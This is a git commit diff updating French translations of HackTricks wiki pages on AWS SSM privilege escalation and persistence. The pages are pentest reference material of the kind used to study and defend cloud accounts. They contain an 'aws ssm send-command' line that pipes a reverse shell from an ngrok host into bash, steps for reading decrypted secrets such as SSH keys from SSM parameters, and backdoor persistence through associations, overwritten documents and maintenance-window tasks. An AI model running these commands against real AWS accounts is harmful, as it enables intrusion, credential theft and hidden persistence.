mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-04-28 12:03:08 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
Translator
@@ -4,15 +4,15 @@
|
||||
|
||||
## SSM
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Utilisation de ssm:CreateAssociation pour persistence
|
||||
### Using ssm:CreateAssociation for persistence
|
||||
|
||||
Un attaquant disposant de l'autorisation **`ssm:CreateAssociation`** peut créer une State Manager Association pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s'exécuter à intervalles fixes, ce qui les rend adaptées à la backdoor-like persistence sans sessions interactives.
|
||||
Un attaquant disposant de la permission **`ssm:CreateAssociation`** peut créer une State Manager Association pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s'exécuter à un intervalle fixe, ce qui les rend adaptées à une persistance de type backdoor sans sessions interactives.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
@@ -22,6 +22,56 @@ aws ssm create-association \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Cette méthode de persistance fonctionne tant que l'instance EC2 est gérée par Systems Manager, le SSM agent est en cours d'exécution, et que l'attaquant dispose de l'autorisation de créer des associations. Elle n'exige pas de sessions interactives ni de permissions explicites ssm:SendCommand. **Important :** le paramètre `--schedule-expression` (par ex., `rate(30 minutes)`) doit respecter l'intervalle minimum d'AWS de 30 minutes. Pour une exécution immédiate ou ponctuelle, omettez complètement `--schedule-expression` — l'association s'exécutera une fois après création.
|
||||
> Cette méthode de persistence fonctionne tant que l’instance EC2 est gérée par Systems Manager, que l’agent SSM est en cours d’exécution, et que l’attaquant a la permission de créer des associations. Elle ne nécessite pas de sessions interactives ni de permissions explicites `ssm:SendCommand`. **Important:** le paramètre `--schedule-expression` (par ex., `rate(30 minutes)`) doit respecter l’intervalle minimum de 30 minutes imposé par AWS. Pour une exécution immédiate ou unique, omettez complètement `--schedule-expression` — l’association s’exécutera une fois après sa création.
|
||||
|
||||
|
||||
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
|
||||
|
||||
Un attaquant disposant des permissions **`ssm:UpdateDocument`** et **`ssm:UpdateDocumentDefaultVersion`** peut escalader ses privilèges en modifiant des documents existants. Cela permet aussi de mettre en place de la persistence au sein de ce document. En pratique, l’attaquant aurait également besoin de **`ssm:ListDocuments`** pour obtenir les noms des documents custom et, si l’attaquant veut obfusquer son payload dans un document existant, **`ssm:GetDocument`** serait nécessaire aussi.
|
||||
```bash
|
||||
aws ssm list-documents
|
||||
aws ssm get-document --name "target-document" --document-format YAML
|
||||
# You will need to specify the version you're updating
|
||||
aws ssm update-document \
|
||||
--name "target-document" \
|
||||
--document-format YAML \
|
||||
--content "file://doc.yaml" \
|
||||
--document-version 1
|
||||
aws ssm update-document-default-version --name "target-document" --document-version 2
|
||||
```
|
||||
Ci-dessous se trouve un exemple de document qui peut être utilisé pour écraser un document existant. Vous voudrez vous assurer que le type de votre document correspond au type du document cible afin d'éviter des problèmes avec l'invocation. Le document ci-dessous, par exemple, fonctionnera pour les exemples **`ssm:SendCommand`** et **`ssm:CreateAssociation`**.
|
||||
```yaml
|
||||
schemaVersion: '2.2'
|
||||
description: Execute commands on a Linux instance.
|
||||
parameters:
|
||||
commands:
|
||||
type: StringList
|
||||
description: "The commands to run."
|
||||
displayType: textarea
|
||||
mainSteps:
|
||||
- action: aws:runShellScript
|
||||
name: runCommands
|
||||
inputs:
|
||||
runCommand:
|
||||
- "id > /tmp/pwn_test.txt"
|
||||
```
|
||||
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
|
||||
|
||||
Un attaquant disposant des permissions **`ssm:RegisterTaskWithMaintenanceWindow`** et **`ssm:RegisterTargetWithMaintenanceWindow`** peut élever ses privilèges en enregistrant d’abord une nouvelle target avec une maintenance window existante, puis en mettant à jour l’enregistrement d’une nouvelle task. Cela permet une exécution sur les targets existantes, mais peut permettre à un attaquant de compromettre des compute avec différents roles en enregistrant de nouvelles targets. Cela permet aussi la persistence, car les tasks de maintenance windows sont exécutées à un intervalle prédéfini lors de la création de la window. En pratique, l’attaquant aurait aussi besoin de **`ssm:DescribeMaintenanceWindows`** pour obtenir les IDs des maintenance windows.
|
||||
``` bash
|
||||
aws ec2 describe-instances
|
||||
aws ssm describe-maintenance-window
|
||||
aws ssm register-target-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--resource-type "INSTANCE" \
|
||||
--targets "Key=InstanceIds,Values=<instance_id>"
|
||||
aws ssm register-task-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--task-arn "AWS-RunShellScript" \
|
||||
--task-type "RUN_COMMAND" \
|
||||
--targets "Key=WindowTargetIds,Values=<target_id>" \
|
||||
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
|
||||
--max-concurrency 50 \
|
||||
--max-errors 100
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SSM
|
||||
|
||||
Pour plus d'informations sur SSM, consultez :
|
||||
Pour plus d'infos sur SSM, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,7 +12,7 @@ Pour plus d'informations sur SSM, consultez :
|
||||
|
||||
### `ssm:SendCommand`
|
||||
|
||||
Un attaquant disposant de la permission **`ssm:SendCommand`** peut **exécuter des commandes sur des instances** exécutant l'Amazon SSM Agent et **compromettre le IAM Role** qui s'exécute à l'intérieur.
|
||||
Un attaquant avec la permission **`ssm:SendCommand`** peut **exécuter des commandes sur des instances** exécutant Amazon SSM Agent et **compromettre l'IAM Role** qui s'exécute à l'intérieur.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-instance-information
|
||||
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
|
||||
--document-name "AWS-RunShellScript" --output text \
|
||||
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
|
||||
```
|
||||
Au cas où vous utiliseriez cette technique pour escalader des privilèges à l'intérieur d'une instance EC2 déjà compromise, vous pourriez simplement capturer le rev shell localement avec :
|
||||
Dans le cas où vous utilisez cette technique pour escalader les privilèges à l’intérieur d’une instance EC2 déjà compromise, vous pourriez simplement capturer le rev shell localement avec :
|
||||
```bash
|
||||
# If you are in the machine you can capture the reverseshel inside of it
|
||||
nc -lvnp 4444 #Inside the EC2 instance
|
||||
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
|
||||
--document-name "AWS-RunShellScript" --output text \
|
||||
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
|
||||
```
|
||||
**Impact potentiel:** Privesc direct vers les EC2 IAM roles attachés aux instances en cours d'exécution avec des SSM Agents.
|
||||
**Impact potentiel :** privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des SSM Agents actifs.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Un attaquant disposant de l'autorisation **`ssm:StartSession`** peut **ouvrir une session de type SSH sur des instances** exécutant l'Amazon SSM Agent et **compromettre l'IAM Role** s'y exécutant.
|
||||
Un attaquant avec la permission **`ssm:StartSession`** peut **démarrer une session de type SSH dans des instances** exécutant Amazon SSM Agent et **compromettre le rôle IAM** qui y est exécuté.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-instance-information
|
||||
@@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Pour démarrer une session vous avez besoin du **SessionManagerPlugin** installé: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
|
||||
> Afin de démarrer une session, vous devez avoir **SessionManagerPlugin** installé: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
|
||||
|
||||
**Impact potentiel :** Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution avec des SSM Agents actifs.
|
||||
**Impact potentiel:** Privesc direct vers les rôles EC2 IAM attachés aux instances en cours d'exécution avec des SSM Agents actifs.
|
||||
|
||||
#### Privesc vers ECS
|
||||
#### Privesc to ECS
|
||||
|
||||
Lorsque les **ECS tasks** s'exécutent avec **`ExecuteCommand` enabled** les utilisateurs disposant des permissions suffisantes peuvent utiliser `ecs execute-command` pour **exécuter une commande** à l'intérieur du conteneur.\
|
||||
Selon [**la documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) cela se fait en créant un canal sécurisé entre l'appareil que vous utilisez pour initier la commande “_exec_” et le conteneur cible via SSM Session Manager. (SSM Session Manager Plugin nécessaire pour que cela fonctionne)\
|
||||
Par conséquent, les utilisateurs avec `ssm:StartSession` pourront **obtenir un shell à l'intérieur des ECS tasks** ayant cette option activée simplement en exécutant:
|
||||
Lorsque les **ECS tasks** s'exécutent avec **`ExecuteCommand` activé**, les utilisateurs disposant de suffisamment de permissions peuvent utiliser `ecs execute-command` pour **exécuter une commande** à l'intérieur du container.\
|
||||
Selon [**la documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) cela est fait en créant un canal sécurisé entre le device que vous utilisez pour initier la commande “_exec_“ et le container cible avec SSM Session Manager. (SSM Session Manager Plugin nécessaire pour que cela fonctionne)\
|
||||
Par conséquent, les users avec `ssm:StartSession` pourront **obtenir un shell à l'intérieur des ECS tasks** avec cette option activée simplement en exécutant:
|
||||
```bash
|
||||
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
|
||||
```
|
||||
.png>)
|
||||
|
||||
**Impact potentiel :** Privesc direct vers les `ECS`IAM roles attachés aux tâches en cours d'exécution avec `ExecuteCommand` activé.
|
||||
**Impact potentiel :** privesc direct vers les rôles `ECS` IAM attachés aux tâches en cours d’exécution avec `ExecuteCommand` activé.
|
||||
|
||||
### `ssm:ResumeSession`
|
||||
|
||||
Un attaquant disposant de la permission **`ssm:ResumeSession`** peut re-**démarrer une session de type SSH sur des instances** exécutant l'Amazon SSM Agent avec un état de session SSM **déconnecté** et **compromettre le IAM Role** s'exécutant à l'intérieur de celle-ci.
|
||||
Un attacker avec la permission **`ssm:ResumeSession`** peut redémarrer une session de type SSH dans des instances exécutant Amazon SSM Agent avec un état de session SSM **disconnected** et compromettre le rôle IAM qui s’y exécute.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-sessions
|
||||
@@ -72,11 +72,11 @@ aws ssm describe-sessions
|
||||
aws ssm resume-session \
|
||||
--session-id Mary-Major-07a16060613c408b5
|
||||
```
|
||||
**Impact potentiel :** privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des SSM Agents actifs et des sessions déconnectées.
|
||||
**Impact potentiel :** privesc direct vers les rôles EC2 IAM attachés aux instances en cours d’exécution avec des SSM Agents en cours d’exécution et des sessions déconnectées.
|
||||
|
||||
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
|
||||
|
||||
Un attaquant disposant des permissions mentionnées pourra lister les **SSM parameters** et les **lire en clair**. Dans ces paramètres, vous pouvez fréquemment **trouver des informations sensibles** telles que des SSH keys ou des API keys.
|
||||
Un attacker avec les permissions mentionnées va pouvoir lister les **SSM parameters** et **les lire en clair**. Dans ces parameters, vous pouvez fréquemment **trouver des informations sensibles** telles que des clés SSH ou des API keys.
|
||||
```bash
|
||||
aws ssm describe-parameters
|
||||
# Suppose that you found a parameter called "id_rsa"
|
||||
@@ -87,15 +87,15 @@ aws ssm get-parameter --name id_rsa --with-decryption
|
||||
|
||||
### `ssm:ListCommands`
|
||||
|
||||
Un attaquant disposant de cette permission peut lister toutes les **commandes** envoyées et potentiellement y trouver des **informations sensibles**.
|
||||
Un attaquant avec cette permission peut lister toutes les **commands** envoyées et, avec un peu de chance, y trouver des **informations sensibles**.
|
||||
```
|
||||
aws ssm list-commands
|
||||
```
|
||||
**Potential Impact:** Trouver des informations sensibles dans les lignes de commande.
|
||||
**Impact potentiel :** Trouver des informations sensibles à l'intérieur des lignes de commande.
|
||||
|
||||
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
|
||||
|
||||
Un attaquant disposant de ces permissions peut lister toutes les **commands** envoyées et **lire la sortie** générée, en espérant y trouver des **informations sensibles**.
|
||||
Un attacker avec ces permissions peut lister toutes les **commands** envoyées et **lire la sortie** générée, en espérant y trouver des **informations sensibles**.
|
||||
```bash
|
||||
# You can use any of both options to get the command-id and instance id
|
||||
aws ssm list-commands
|
||||
@@ -105,9 +105,9 @@ aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
|
||||
```
|
||||
**Impact potentiel :** Trouver des informations sensibles dans la sortie des lignes de commande.
|
||||
|
||||
### Utilisation de ssm:CreateAssociation
|
||||
### Using ssm:CreateAssociation
|
||||
|
||||
Un attaquant disposant de l'autorisation **`ssm:CreateAssociation`** peut créer une State Manager Association pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s'exécuter à intervalles fixes, les rendant adaptées à la backdoor-like persistence sans sessions interactives.
|
||||
Un attaquant disposant de la permission **`ssm:CreateAssociation`** peut créer une State Manager Association pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s’exécuter à intervalle fixe, ce qui les rend adaptées à une persistence de type backdoor sans sessions interactives.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
@@ -117,11 +117,60 @@ aws ssm create-association \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Cette méthode de persistance fonctionne tant que l'instance EC2 est gérée par Systems Manager, que l'agent SSM est en cours d'exécution, et que l'attaquant a l'autorisation de créer des associations. Elle ne requiert pas de sessions interactives ni la permission explicite ssm:SendCommand. **Important :** Le paramètre `--schedule-expression` (par ex., `rate(30 minutes)`) doit respecter l'intervalle minimum d'AWS de 30 minutes. Pour une exécution immédiate ou ponctuelle, omettez complètement `--schedule-expression` — l'association s'exécutera une fois après sa création.
|
||||
> Cette méthode de persistence fonctionne tant que l'instance EC2 est gérée par Systems Manager, que l'agent SSM est en cours d'exécution, et que l'attaquant a la permission de créer des associations. Elle ne nécessite ni sessions interactives ni permissions explicites `ssm:SendCommand`. **Important :** le paramètre `--schedule-expression` (par ex. `rate(30 minutes)`) doit respecter l'intervalle minimum AWS de 30 minutes. Pour une exécution immédiate ou unique, omettez entièrement `--schedule-expression` — l'association s'exécutera une fois après sa création.
|
||||
|
||||
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
|
||||
|
||||
Un attaquant disposant des permissions **`ssm:UpdateDocument`** et **`ssm:UpdateDocumentDefaultVersion`** peut escalader ses privilèges en modifiant des documents existants. Cela permet aussi la persistence au sein de ce document. En pratique, l'attaquant aurait également besoin de **`ssm:ListDocuments`** pour obtenir les noms des custom documents et, s'il souhaite obfusquer sa payload dans un document existant, **`ssm:GetDocument`** serait également nécessaire.
|
||||
```bash
|
||||
aws ssm list-documents
|
||||
aws ssm get-document --name "target-document" --document-format YAML
|
||||
# You will need to specify the version you're updating
|
||||
aws ssm update-document \
|
||||
--name "target-document" \
|
||||
--document-format YAML \
|
||||
--content "file://doc.yaml" \
|
||||
--document-version 1
|
||||
aws ssm update-document-default-version --name "target-document" --document-version 2
|
||||
```
|
||||
Voici un document d'exemple qui peut être utilisé pour écraser un document existant. Vous voudrez vous assurer que le type de votre document correspond au type du document cible afin d'éviter des problèmes d'invocation. Le document ci-dessous, par exemple, conviendra aux exemples **`ssm:SendCommand`** et **`ssm:CreateAssociation`**.
|
||||
```yaml
|
||||
schemaVersion: '2.2'
|
||||
description: Execute commands on a Linux instance.
|
||||
parameters:
|
||||
commands:
|
||||
type: StringList
|
||||
description: "The commands to run."
|
||||
displayType: textarea
|
||||
mainSteps:
|
||||
- action: aws:runShellScript
|
||||
name: runCommands
|
||||
inputs:
|
||||
runCommand:
|
||||
- "id > /tmp/pwn_test.txt"
|
||||
```
|
||||
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
|
||||
|
||||
Un attaquant disposant des permissions **`ssm:RegisterTaskWithMaintenanceWindow`** et **`ssm:RegisterTargetWithMaintenanceWindow`** peut élever ses privilèges en enregistrant d’abord un nouveau target avec une maintenance window existante, puis en mettant à jour en enregistrant une nouvelle task. Cela permet l’exécution sur les targets existants, mais peut aussi permettre à un attaquant de compromettre des compute avec différents rôles en enregistrant de nouveaux targets. Cela permet également la persistence, car les tasks des maintenance windows sont exécutées à un intervalle prédéfini lors de la création de la window. En pratique, l’attaquant aurait aussi besoin de **`ssm:DescribeMaintenanceWindows`** pour obtenir les IDs des maintenance windows.
|
||||
``` bash
|
||||
aws ec2 describe-instances
|
||||
aws ssm describe-maintenance-window
|
||||
aws ssm register-target-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--resource-type "INSTANCE" \
|
||||
--targets "Key=InstanceIds,Values=<instance_id>"
|
||||
aws ssm register-task-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--task-arn "AWS-RunShellScript" \
|
||||
--task-type "RUN_COMMAND" \
|
||||
--targets "Key=WindowTargetIds,Values=<target_id>" \
|
||||
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
|
||||
--max-concurrency 50 \
|
||||
--max-errors 100
|
||||
```
|
||||
### Codebuild
|
||||
|
||||
Vous pouvez aussi utiliser SSM pour accéder à un projet Codebuild en cours d'exécution :
|
||||
Vous pouvez aussi utiliser SSM pour entrer dans un projet codebuild en cours de build :
|
||||
|
||||
{{#ref}}
|
||||
../aws-codebuild-privesc/README.md
|
||||
|
||||
Reference in New Issue
Block a user